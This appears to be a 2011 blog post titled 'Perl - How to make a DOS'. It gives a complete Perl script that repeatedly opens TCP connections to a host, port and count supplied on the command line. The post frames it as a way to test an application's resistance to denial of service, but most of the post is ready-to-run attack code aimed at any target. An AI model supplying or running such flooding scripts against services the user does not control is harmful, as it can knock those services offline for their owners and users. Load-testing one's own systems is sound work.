Perl - How to make a DOS

Posted on sabato 8 gennaio 2011 by Ivano Binetti

The purpose of this simple perl script  is to test an application to understand if it is vulnerable at DOS (Denial of Service) attacks.

You can specify the TCP/IP number port, the ip address and the number of connections which you want send to your applications.


#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;

        print "I'm sending $ARGV[2] connection requests to port $ARGV[1]\n";

        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }

        print "\n Your $ARGV[2] connection requests have been done !\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 21 1200\n";
        exit;
}

0 Responses to "Perl - How to make a DOS":